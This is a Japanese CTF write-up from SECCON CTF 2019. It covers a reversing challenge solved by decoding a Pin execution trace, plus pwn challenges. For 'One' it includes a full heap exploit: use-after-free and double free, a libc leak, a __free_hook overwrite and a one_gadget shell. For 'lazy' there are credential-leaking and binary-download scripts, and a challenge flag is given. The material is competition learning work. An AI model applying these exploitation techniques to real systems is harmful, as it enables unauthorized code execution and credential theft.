イントロ
いつぞや行われたSECCON CTF 2019に newbie 2人チームsmallkirby(@python_kirby / @mivjdu )で一応参加した。
結果はボロボロだったが教訓として
- 変に意気込んじゃだめ。普通に寝たほうがいい
- まずは問題を全体的に簡単に見ていったほうがいい
- 機械音痴のアナログ人間のため手動で頑張ろうとするが、自動化できるところは全部自動化するべき。特に rev の calc で何故か最初手動で頑張ってしまった
- 相談できる人がいたほうがいい。メチャメチャ簡単な問題でも自分の中での勝手な思い込みで詰まってしまうことがあるから、そんなときワイワイできる相手がいるといい。今回は寝たら解決したが
- not stripped な問題が多くてこの業界に良い人もいるんだと思った
- 精進が圧倒的に足りない
ということを再認識した。
いまめちゃくちゃ眠いため簡単な覚書だけ書き連ねておいて後で清書する。
Welcome / Thank you for playing
無料でフラグをくれる運営に感謝の気持を忘れないようにここで3時間位祈祷するのが CTFer の嗜み。 “どんな newbie チームでも 0 点では帰らせない"という慈悲の心。 自分も newbie ながら先例に倣い、5時間半感謝の祈祷をした。
calc
逆ポーランド記法で整数計算を行うプログラムcalc
と、
それをある入力式で実行した際のIntelPinでのトレース結果が渡されて、入力式を復元する問題。
以前 Malware 解析をしようとしたときに Pin は使ったことがあったから環境準備は割とスムーズにいった。 Ghidra のベースアドレスをトレースの情報をもとにセットして、 各 branch が何を表すのかをデコンパイルコードと見比べてメモをする。
memo.sh 10x55f6b4d44db4: 2 "M"チェック!!
20x55f6b4d446a5: 1 (終了処理 いらない)
30x55f6b4d44c13: 18 (push_stackしたあとl40_ptrをインクリメントするとこへ飛ぶ)
40x55f6b4d44f64: 1 (開始処理 いらない)
50x55f6b4d44d54: 1 (*フラグ立てた後)
60x55f6b4d445de: 1 (開始処理 いらない)
70x55f6b4d44ca6: 2 (+フラグ立てた後)
80x55f6b4d44cfd: 5 (-フラグ立てた後)
90x55f6b4d44a0b: 3 sum()でwhileに入る!!
100x55f6b4d44727: 1 (終了処理 いらない)
110x55f6b4d44be9: 90 ","かどうかで分岐!!!!!
120x55f6b4d44e02: 2 "M"のあと
130x55f6b4d44765: 1 (開始処理 いらない)
140x55f6b4d4493e: 35 push_stackの最初のfullチェック!!!
150x55f6b4d44d06: 10 "*"分岐!!!!
160x55f6b4d44c22: 64 "9"より大きいかチェック!!!
170x55f6b4d44caf: 15 "-"分岐!!!
180x55f6b4d446f6: 1 (開始処理)
190x55f6b4d44e87: 91 NULLチェック!!!
200x55f6b4d44a1f: 20 sum()の中でのwhile endチェック!!!
210x55f6b4d44eae: 1 (mainの引数チェック)
220x55f6b4d44c1c: 72 "1"より大きいかチェック!!
230x55f6b4d44dab: 7 "m"のあと
240x55f6b4d44a5b: 1 kakeru()のwhileチェック
250x55f6b4d44d5d: 9 "m"分岐!!!
260x55f6b4d44735: 1 (終了処理)
270x55f6b4d44650: 1 (終了処理)
280x55f6b4d44bd6: 1 (main最初の処理)
290x55f6b4d44c4f: 55 数字だったからなんの処理も行わなかったジャンプ
300x55f6b4d44bef: 18 l2c_numflagチェック
310x55f6b4d44c58: 17 "+"分岐
320x55f6b4d44a81: 2 kakeru()のwhile終了ループ
330x55f6b4d44f44: 1 (開始処理)
340x55f6b4d448dc: 35 pop_stack()の最初のチェック!!
そのメモをもとにトレース結果を読み込んで入力値を出力してくれるスクリプトを(@mivjdu
が)書いた:
1import sys
2import json
3
4with open(sys.argv[1]) as f:
5 trace = json.load(f)
6
7stack = []
8num_flag = False
9
10for t in trace:
11 if t["event"] != "branch":
12 continue
13
14 inst_addr = t["inst_addr"]
15 branch_taken = t["branch_taken"]
16
17 if inst_addr == "0x55f6b4d44d06": #*
18 if not branch_taken:
19 stack.append("*")
20
21 if inst_addr == "0x55f6b4d44be9": #,
22 if not branch_taken:
23 stack.append(",")
24
25 if inst_addr == "0x55f6b4d44caf": #-
26 if not branch_taken:
27 stack.append("-")
28
29 if inst_addr == "0x55f6b4d44c58": #+
30 if not branch_taken:
31 stack.append("+")
32
33 if inst_addr == "0x55f6b4d44d5d": #m
34 if not branch_taken:
35 stack.append("m")
36
37 if inst_addr == "0x55f6b4d44db4": #M
38 if not branch_taken:
39 stack.append("M")
40
41 if inst_addr == "0x55f6b4d44c1c": # x<1
42 if not branch_taken:
43 num_flag = True
44
45 if inst_addr == "0x55f6b4d44c22": # x>9
46 if num_flag == False:
47 print("ERROR!")
48 if not branch_taken:
49 stack.append("1")
50 num_flag = False
51 else:
52 num_flag = False
53
54
55print("result:")
56print("".join(stack))
できあがった出力を再び Pin に入れてトレース情報の diff をとり、 細かい部分を修正した。
しかし和をとるときの while ループの回数制御のために数値を調整する工程を何故か自動化せずに全部手動でやってしまったため異様な時間が経過してしまった。
入力式は:
.sh1999,100,511,111,111,1111,111,mm-mM-111,111,111,mm-119,911,130,913,300,-+-M+001,001,001,mm*
それを提出して得られるフラグは:
flag.txt1SECCON{Is it easy for you to recovery input from execution trace? Keep hacking:)}
One
メモを追加・表示・削除できるプログラムと libc が渡される。 但し一度に保持できる heap アドレスは一つのみ。 UAF/double free し放題。
libcbase さえ求まればなんとでもなる。
小さい chunk を 10 個+α 繋げて一つの大きな fake chunk を作り、
それを free することで unsortedbin を作って heap 上にmain_arena+96
のアドレスを出現させる。
あとはそれを leak して__free_hook overwrite で終わり。
calc の手仕事で疲弊していた上に深夜帯ということもありこんな簡単な問題に時間をかけてしまった。。。
exploit.c 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "./one"
8
9rhp1 = {"host":"one.chal.seccon.jp","port":18357}
10rhp2 = {'host':"localhost",'port':12300}
11context(os='linux',arch='amd64')
12binf = ELF(FILENAME)
13libc = ELF("./libc-2.27.so")
14
15diff_arena_printf = 0x386dc0
16onegadgets = [0x4f2c5,0x4f322,0x10a38c]
17
18def add(conn,content):
19 if(len(content)>=0x40):
20 print("[!]too large content")
21 return
22 conn.recvuntil("> ")
23 conn.sendline("1")
24 conn.recvuntil("> ")
25 conn.sendline(content)
26
27def delete(conn):
28 conn.recvuntil("> ")
29 conn.sendline("3")
30
31def show(conn):
32 conn.recvuntil("> ")
33 conn.sendline("2")
34
35def exploit(conn):
36
37 #
38 small_chunks = 0x10
39 size = 0x40+ 0x50*small_chunks- 0x10 #最後の0x10byteは次のchunkのヘッダをごまかすため
40
41 add(conn,p64(0)+p64((size+0x10)|0x1) + p64(0)*2) #large fake chunk size
42 for i in range(small_chunks):
43 add(conn,"A"*0x30 + p64(size|0x1) + p64(0x61)[:-2])
44
45 add(conn,"B"*0x30)
46 delete(conn)
47 delete(conn)
48 delete(conn)
49
50 #leak heap addr
51 show(conn)
52 data = unpack(conn.recvline()[:-1].ljust(8,"\x00")[0:8])
53 large_chunk_usr = data - 0x50*(small_chunks+1) + 0x10
54 print("[+]data: "+hex(data))
55 print("[+]large chunk usr: "+hex(large_chunk_usr))
56
57 #make point to large chunk
58 add(conn,p64(large_chunk_usr)+p64(0)*2)
59 add(conn,p64(0)*2)
60 add(conn,p64(0)*2) #large fake chunk
61
62 #create unsortedbin
63 delete(conn)
64
65 #leak libc_base
66 show(conn)
67 mainarena = unpack(conn.recvline()[:-1].ljust(8,"\x00")[0:8]) - 96
68 print("[!]main_arena: "+hex(mainarena))
69 libc_base = mainarena-diff_arena_printf-libc.functions["printf"].address
70 print("[!]libc_base: "+hex(libc_base))
71
72 #overwrite __malloc_hook
73 add(conn,"D"*0x20)
74 delete(conn)
75 delete(conn)
76 delete(conn)
77 #show(conn)
78 #data = unpack(conn.recvline()[:-1].ljust(8,"\x00")[0:8])
79 #print("[+]data: "+hex(data))
80 add(conn,p64(libc_base + libc.symbols["__free_hook"])+p64(0))
81 add(conn,p64(0)*2)
82 add(conn,p64(libc_base + onegadgets[1]))
83
84 #get the shell
85 conn.recvuntil("> ")
86 conn.sendline("3")
87
88 return
89
90
91if len(sys.argv)>1:
92 if sys.argv[1][0]=="d":
93 cmd = """
94 set follow-fork-mode parent
95 """
96 conn = gdb.debug(FILENAME,cmd)
97 elif sys.argv[1][0]=="r":
98 conn = remote(rhp1["host"],rhp1["port"])
99else:
100 conn = remote(rhp2['host'],rhp2['port'])
101exploit(conn)
102conn.interactive()
lazy
最初はブロガーの URL だけ渡されている。 まずログインするために username/PW が必要だが username は日記の中に書いてある。 PW は以下のスクリプトで leak する:
leak.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "./lazy"
8
9rhp1 = {"host":"lazy.chal.seccon.jp","port":33333}
10rhp2 = {'host':"localhost",'port':12300}
11context(os='linux',arch='amd64')
12#binf = ELF(FILENAME)
13
14def login(conn,user,pw):
15 conn.recvuntil("3: Exit\n")
16 conn.sendline("2")
17 conn.recvuntil("username : ")
18 conn.sendline(user) #need newline
19 #conn.recvuntil("password : ")
20 #conn.sendline(pw)
21
22username = "_H4CK3R_"
23pw = "3XPL01717"
24counter = 0
25
26def exploit(conn):
27 global counter
28 if counter>=100:
29 return
30 login(conn,""+"A"*counter,"pw")
31 conn.recvuntil("\n")
32 print(conn.recvline())
33 counter += 1
34 conn = remote(rhp1["host"],rhp1["port"])
35 exploit(conn)
36
37
38if len(sys.argv)>1:
39 if sys.argv[1][0]=="d":
40 cmd = """
41 set follow-fork-mode parent
42 """
43 conn = gdb.debug(FILENAME,cmd)
44 elif sys.argv[1][0]=="r":
45 conn = remote(rhp1["host"],rhp1["port"])
46else:
47 conn = remote(rhp2['host'],rhp2['port'])
48exploit(conn)
49conn.interactive()
username は_H4CK3R_
・PW は3XPL01717
。
そうするとプライベートディレクトリを見れるようになり libc.so とプログラム本体が入ってることを確認。
ただしこのディレクトリ内で"."
は使えない。
以下のプログラムでバイナリをゲット:
1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6import struct
7
8FILENAME = "./lazy"
9
10rhp1 = {"host":"lazy.chal.seccon.jp","port":33333}
11rhp2 = {'host':"localhost",'port':12300}
12context(os='linux',arch='amd64')
13#binf = ELF(FILENAME)
14
15def login(conn,user,pw):
16 conn.recvuntil("3: Exit\n")
17 conn.sendline("2")
18 conn.recvuntil("username : ")
19 conn.sendline(user) #need newline
20 conn.recvuntil("password : ")
21 conn.sendline(pw)
22
23username = "_H4CK3R_"
24pw = "3XPL01717"
25counter = 0
26
27def exploit(conn):
28 login(conn,username,pw)
29
30 conn.recvuntil("4: Manage\n")
31 conn.sendline("4")
32 conn.recvuntil("Input file name\n")
33 conn.sendline("lazy")
34 conn.recvuntil("bytes")
35 binary = conn.recvrepeat()
36
37 out = open("./lazy","w")
38 out.write(binary)
39 out.close()
40
41 #login(conn,username,"A"*50)
42 #login(conn,"A"*(100-5-0x10),"pw")
43 #conn.recvuntil("A\n")
44 #data = unpack(conn.recvline()[:-1].ljust(8,"\x00"))
45 #print("[+]"+hex(data))
46
47
48if len(sys.argv)>1:
49 if sys.argv[1][0]=="d":
50 cmd = """
51 set follow-fork-mode parent
52 """
53 conn = gdb.debug(FILENAME,cmd)
54 elif sys.argv[1][0]=="r":
55 conn = remote(rhp1["host"],rhp1["port"])
56else:
57 conn = remote(rhp2['host'],rhp2['port'])
58exploit(conn)
59conn.interactive()
あとはバイナリを解析する。
sum
5 つの数字を入力して和を出力する。 けど 6 つ入力できる。 6 つ目を書き換えたいアドレスにすると write-what-where。
けどこの問題は和をメモリに書き込む際に一度 0 クリアしてから書き込むため、libcbase の leak ができなくて解けなかった。 考えたのは:
- まず 6 つ入力すると
exit
されるからexit
をmain
のアドレスに書き換え - 次に
printf
の libc addr を使いたいから GOT を更新するために puts の GOT をprintf
のplt+6
に書き換え - このままだと
put
する度にprintf
の GOT が更新されるから、printf
の GOT が更新されたらputs
の GOT をscanf
の GOT に書き換え printf
と onagadget RCE のアドレス差をもとにしてprintf
の GOT の下数 nibble だけ書き換えて onegadget を呼び出す
だがprintf
/onegadget の diff が 5nibble 分あり、libcbase の下 3nibble はゼロだから 0xffff 通りと brute-fource していいギリギリっぽかったためびびってしなかった。
diff が 4nibble なら0xff
回でいけたから迷わなかっただろうが。
多分もっといい解き方あるだろうし。
solve 数的にそんな難しくない気がするんだけどなぁ。。。。
(追記: 2019.10.20)
ROP をするらしい(libc じゃなくて sum 本体の使うのか?) これも含めた他の pwn の問題の writeup も後日また解き直してアップする。
アウトロ
全然解けなかった。。。。 普通にド凹み中です。 精進します。